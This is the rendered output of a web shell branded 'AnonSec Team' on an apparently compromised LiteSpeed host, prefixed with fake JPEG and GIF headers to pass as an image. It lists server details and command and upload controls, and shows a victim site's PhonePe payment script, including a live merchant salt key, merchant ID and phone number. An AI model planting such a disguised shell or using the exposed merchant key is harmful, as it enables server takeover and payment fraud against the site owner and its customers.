����JFIF��x�x������Exif��MM�*���� ����E���J����������������(������������������ Xzourt Bypazz

Upload your file


�����x������x������C�     ���C   ����<�d"�������������� �������}�!1AQa"q2���#B��R��$3br� %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�������������������������������������������������������������������������������� ������w�!1AQaq"2�B���� #3R�br� $4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������ ��?��S��(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(��ÿØÿà JFIF ÿþ;GIF89;aGIF89;aGIF89;a AnonSec Team
AnonSec Team
Server IP : 103.191.208.227  /  Your IP : 18.119.126.72
Web Server : LiteSpeed
System : Linux emphasis.herosite.pro 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
User : mhmsfzcs ( 1485)
PHP Version : 8.1.31
Disable Function : show_source, system, shell_exec, passthru, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home/mhmsfzcs/vflyorions.com/resume/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/mhmsfzcs/vflyorions.com/resume/../indianpayment.php
<?php
$pages = 'pay';
$page = 'indian';
include 'header.php';
include 'db.php';

if(isset($_POST['pay']))
{
    $name=$_POST['name'];
    $email=$_POST['email'];
    $contact=$_POST['contact'];
    $amount = $_POST['amountEnterByUsers'];
    //$amount=$_POST['amount'];
   // $message=$_POST['message'];
    
    $insert=$conn->prepare("Insert into payment(`name`,`email`,`contact`,`amount`) VALUES (?,?,?,?)");
         $insert->bind_param("ssss",$name,$email,$contact,$amount);
         $res=$insert->execute();
    
 $uniqueId = uniqid(rand(), true);
     
   
  $merchantKey = 'd32f4f9f-0d94-449e-980b-7044c551026e';
  $data = array(
      "merchantId" => "STUDYLABONLINE",
      "merchantTransactionId" => $uniqueId,
      "merchantUserId" => "$uniqueId",
      "amount" => $amount*100,
      "redirectUrl" => "https://vflyorions.com/indianpayment.php",
      "redirectMode" => "POST",
      "callbackUrl" => "https:vflyorions.com/indianpayment.php",
      "mobileNumber" => "8956375912",
      "paymentInstrument" => array(
          "type" => "PAY_PAGE"
      )
  );
  // Convert the Payload to JSON and encode as Base64
  $payloadMain = base64_encode(json_encode($data));

  $payload = $payloadMain."/pg/v1/pay".$merchantKey;
  $Checksum = hash('sha256', $payload);
  $Checksum = $Checksum.'###1';

//X-VERIFY  -	SHA256(base64 encoded payload + "/pg/v1/pay" + salt key) + ### + salt index

  $curl = curl_init();
  curl_setopt_array($curl, [
    CURLOPT_URL => "https://api.phonepe.com/apis/hermes/pg/v1/pay",   //https://api-preprod.phonepe.com/apis/pg-sandbox/pg/v1/pay   
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_ENCODING => "",
    CURLOPT_MAXREDIRS => 10,
    CURLOPT_TIMEOUT => 30,
    CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
    CURLOPT_CUSTOMREQUEST => "POST",
    CURLOPT_POSTFIELDS => json_encode([
      'request' => $payloadMain
    ]),
    CURLOPT_HTTPHEADER => [
      "Content-Type: application/json",
      "X-VERIFY: ".$Checksum,
      "accept: application/json"
    ],
  ]);

  $response = curl_exec($curl);
  $err = curl_error($curl);

  curl_close($curl);

  if ($err) {
      //   echo "cURL Error #:" . $err;
      header('Location: paymentfailed.php?cURLError='.$err);
  } else {
      $responseData = json_decode($response, true);
      $url = $responseData['data']['instrumentResponse']['redirectInfo']['url'];
     // header('Location:'.$url);
     echo '<script>window.location.href = "' . $url . '";</script>';

      exit;
  }

    
}



?>

<div class="page-banner-wrap bg-cover" style="background-image: url('assets/img/allbanner.png')">
        <div class="container">
            <div class="row">
                <div class="col-12 col-lg-12">
                    <div class="page-heading text-white">
                        <h1>Indian Payment</h1>
                    </div>
                    <div class="breadcrumb-wrap">
                        <nav>
                            <ol class="breadcrumb">
                              <li class="breadcrumb-item"><a href="index.html">Home</a></li>
                              <li class="breadcrumb-item active" aria-current="page">Indian Payment</li>
                            </ol>
                        </nav>
                    </div>
                </div>
            </div>
        </div>
    </div>
    
    
      <div class="contact-us-wrapper section-padding">
        <div class="container" style="max-width:1280px !important;">
            <div class="row eq-height">
                
                <div class="col-lg-5 col-12 section-title">
                     <img src="assets/img/payment1.png">
                </div>
                
                <div class="col-lg-7 col-12">
                    <div class="contact-form"> 
                        <h2 style="margin-bottom: 2px;">Pay Us Now</h2>     
                        <p style="margin:20px;">Secure your success with us - Pay now for unparalleled service and satisfaction!</p>
                        <form method="POST" class="row">
                            
                            <div class="col-md-6 col-12">
                                <div class="single-personal-info">
                                    <input type="text" name="name" placeholder="Name" required >                                         
                                </div>
                            </div>                            
                            <div class="col-md-6 col-12">
                                <div class="single-personal-info">
                                    <input type="email" name="email" placeholder="Email" required >                                         
                                </div>
                            </div>
                            <div class="col-md-6 col-12">
                                <div class="single-personal-info">
                                    <input type="text" name="contact" placeholder="Phone No" required>                                         
                                </div>
                            </div>                                      
                            <div class="col-md-6 col-12">
                                <div class="single-personal-info">
                                    <input type="text" name="amountEnterByUsers" placeholder="Amount" required>                                         
                                </div>
                            </div>  
                            <center>
                                <div class="col-md-12 col-12">
                                <input class="submit-btn" type="submit" name="pay" value="Pay Now">
                            </div> 
                            </center>
                                                               
                                                                 
                        </form>
                        <span class="form-message"></span>
                    </div>
                </div>
               
                
            </div>
          
    </div>  
        </div>
        
        
    </div>
    
    
      <?php

include 'footer.php';

?>

AnonSec - 2021